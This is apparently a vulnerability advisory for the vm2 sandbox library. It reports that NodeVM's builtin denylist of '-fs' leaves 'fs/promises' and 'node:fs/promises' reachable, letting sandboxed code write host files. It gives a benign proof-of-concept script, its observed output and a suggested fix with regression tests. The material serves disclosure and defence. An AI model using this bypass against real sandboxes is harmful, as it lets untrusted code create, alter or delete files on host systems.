vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes

Impact

Confirmed impact:

• Host file creation
• Host file write

The proof uses fs/promises.writeFile() to create a harmless temporary file containing a marker string.

Additional reachable APIs on fs/promises include filesystem operations such as cp, mkdir, rename, rm, rmdir, truncate, and others. These were not used destructively in the proof.

Safe Local Reproduction

Tested on Node.js v24.14.0.

This proof does not execute OS commands and does not use destructive filesystem operations. It creates a temporary proof file, verifies the marker, then removes the file.

'use strict';

const fs = require('fs');
const os = require('os');
const path = require('path');
const { NodeVM } = require('./');

const proofPath = path.join(os.tmpdir(), `vm2-fs-promises-proof-${process.pid}.txt`);
const marker = `vm2-fs-promises-marker-${process.pid}`;

try {
  fs.unlinkSync(proofPath);
} catch (_) {}

(async () => {
  const vm = new NodeVM({
    require: {
      builtin: ['*', '-fs', '-child_process']
    }
  });

  const result = await vm.run(`
    module.exports = (async () => {
      const r = {};

      try {
        require('fs');
        r.fsLoaded = true;
      } catch (e) {
        r.fsBlocked = true;
        r.fsError = e && e.code;
      }

      try {
        require('child_process');
        r.childProcessLoaded = true;
      } catch (e) {
        r.childProcessBlocked = true;
        r.childProcessError = e && e.code;
      }

      const fsp = require('fs/promises');
      r.fsPromisesLoaded = true;
      r.fsPromisesKeys = Object.keys(fsp).slice(0, 12).sort();

      await fsp.writeFile(${JSON.stringify(proofPath)}, ${JSON.stringify(marker)}, 'utf8');
      r.wrote = true;

      return r;
    })();
  `);

  const exists = fs.existsSync(proofPath);
  const content = exists ? fs.readFileSync(proofPath, 'utf8') : null;

  console.log(JSON.stringify({
    result,
    hostFileExists: exists,
    hostFileContent: content
  }, null, 2));

  try {
    fs.unlinkSync(proofPath);
  } catch (_) {}
})().catch(error => {
  try {
    fs.unlinkSync(proofPath);
  } catch (_) {}
  console.error(error);
  process.exitCode = 1;
});

Observed result:

{
  "result": {
    "fsBlocked": true,
    "fsError": "ENOTFOUND",
    "childProcessBlocked": true,
    "childProcessError": "ENOTFOUND",
    "fsPromisesLoaded": true,
    "wrote": true
  },
  "hostFileExists": true,
  "hostFileContent": "vm2-fs-promises-marker-<pid>"
}

Additional local checks:

• require('node:fs/promises') also loads and can write the proof file.
• Adding -fs/promises blocks require('fs/promises').
• Adding only -node:fs/promises does not block require('fs/promises').

Expected Secure Behavior

If an embedder denies fs, NodeVM should deny the whole filesystem builtin family, including:

• fs
• fs/promises
• node:fs
• node:fs/promises

Negative entries with and without node: should be normalized consistently.

Suggested Fix

1. Normalize builtin names before allow/deny checks:

   • Strip node: for comparison.
   • Use one canonical key form internally.

2. Treat negative builtin entries as family denials where appropriate:

   • -fs should block fs/promises.
   • -inspector already conceptually blocks inspector/promises; apply the same family logic to user-provided negative entries.

3. Add regression tests for:

   • builtin: ['*', '-fs'] blocks fs/promises.
   • builtin: ['*', '-fs'] blocks node:fs/promises.
   • -node:fs/promises and -fs/promises behave equivalently.
   • Explicit allowlist behavior is documented and covered.